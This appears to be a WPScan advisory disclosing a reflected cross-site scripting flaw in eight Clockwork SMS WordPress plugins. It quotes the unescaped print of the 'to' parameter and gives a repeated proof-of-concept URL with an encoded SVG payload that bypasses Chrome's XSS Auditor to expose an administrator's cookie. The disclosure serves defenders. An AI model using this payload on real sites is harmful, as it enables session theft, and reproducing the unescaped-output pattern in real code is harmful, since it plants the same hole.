Multiple Mediaburst/Clockwork Plugins - Cross-Site Scripting (XSS)



Description
Reflected XSS via GET parameter "to".

Vulnerable Plugins:

------------------------------------------
1. Clockwork Free and Paid SMS Notifications
URL: https://wordpress.org/plugins/mediaburst-email-to-sms/
Version 2.0.3 | By Clockwork

2. Two-Factor Authentication - Clockwork SMS
URL: https://wordpress.org/plugins/clockwork-two-factor-authentication/
Version 1.0.2 | By Clockwork 

3. Booking Calendar - Clockwork SMS 
URL: https://wordpress.org/plugins/booking-sms/ 
Version 1.0.5 |By Mediaburst
	
4. Contact Form 7 - Clockwork SMS
URL: https://wordpress.org/plugins/contact-form-7-sms-addon/
Version 2.3.0 |By Mediaburst
	
5. Fast Secure Contact Form - Clockwork SMS
URL: https://wordpress.org/plugins/fscf-sms/
Version 2.1.2|By Mediaburst
	
6. Formidable - Clockwork SMS
URL: https://wordpress.org/plugins/formidable-sms/
Version 1.0.2|By Mediaburst
	
7. Gravity Forms - Clockwork SMS
URL: https://wordpress.org/plugins/gravity-forms-sms-notifications/
Version 2.2 |By Mediaburst

8. WP e-Commerce - Clockwork SMS
URL: https://wordpress.org/plugins/mediaburst-ecommerce-sms-notifications/
Version 2.0.5 | By Mediaburst 

The vulnerability lies in the "to" parameter and can cause reflected XSS vulnerability. 

The issue is on the file plugins/clockwork-two-factor-authentication/templates/clockwork-test-message.php line 11:

<p>You should now have received a text message to <?php print $_GET['to']; ?>. If you have not received this, copy and paste the contents of the textbox below into a support request.</p> 

the vulnerable code is the following:
print $_GET['to']; 

There is a print of the variable "to", which can be controlled by the user. This leads to reflected XSS vulnerability.

The vulnerability can be exploited against an administrator by using the following url:

http://victim/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E

A logged in Administrator, who will click on the above link, he will introduced with a video picture. When he will click the video, the javascript code (an alert box for this poc) will be executed.

In this case, the javascript code is just an alert box with the cookie, however any kind of malicious javascript code can be used.

Reproduce:

1. Login to your wordpress as an admin.
2. Access the following link:

http://yoursite/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E

3. You should see the fake video.
4. Click to see the video.
5. The alert box should be executed.

I used this kind of payload in order to bypass the Chrome XSS Auditor.

Update on 12 Nov:
This payload does not work anymore with Chrome. You can validate the issue from the source code or dynamicaly by altering the payload.

Environment:

The vulnerability has been tested against:

    Two-Factor Authentication - Clockwork SMS Version: 1.0.2
    WordPress 4.8.3 running Twenty Seventeen theme.
    Chrome Version 61.0.3163.100 (Official Build) (64-bit)

Note: The dynamic analysis (PoC) has been performed against the "Two-Factor Authentication - Clockwork SMS" . However, the file clockwork-test-message.php with the vulnerable code in line 11 , exists in every of the 8 aforementioned plugins.

Timeline:

2 Nov 2017: Initial Contact with the vendor.
2 Nov 2017: Response from the vendor which provided different contact details.
2 Nov 2017: Contact with the vendor.
7 Nov 2017: Contact with wordpress (plugins@wordpress.org).
8 Nov 2017: Wordpress acknowledges the issue and closes the plugins (preventing new downloads).
21 Nov 2017: Vendor acknowledges.
12 Dec 2017: Vendor releases updated version.
Proof of Concept
http://yoursite/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E

Affects Plugins

fixed in version 3.0.0
fixed in version 1.1.0
fixed in version 1.1.0
fixed in version 2.4.0
fixed in version 2.4.0
fixed in version 1.1.0
fixed in version 2.4.0

References

URL https://plugins.trac.wordpress.org/changeset/1781424/clockwork-two-factor-authentication/trunk/templates/clockwork-test-message.php?old=706348&old_path=clockwork-two-factor-authentication%2Ftrunk%2Ftemplates%2Fclockwork-test-message.php

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter Dimopoulos Elias
Submitter Twitter DimopoulosElias
Views 1730
Verified No
WPVDB ID 8978

Timeline

Publicly Published 2017-12-14 (12 months ago)
Added 2017-12-19 (12 months ago)
Last Updated 2018-08-27 (4 months ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.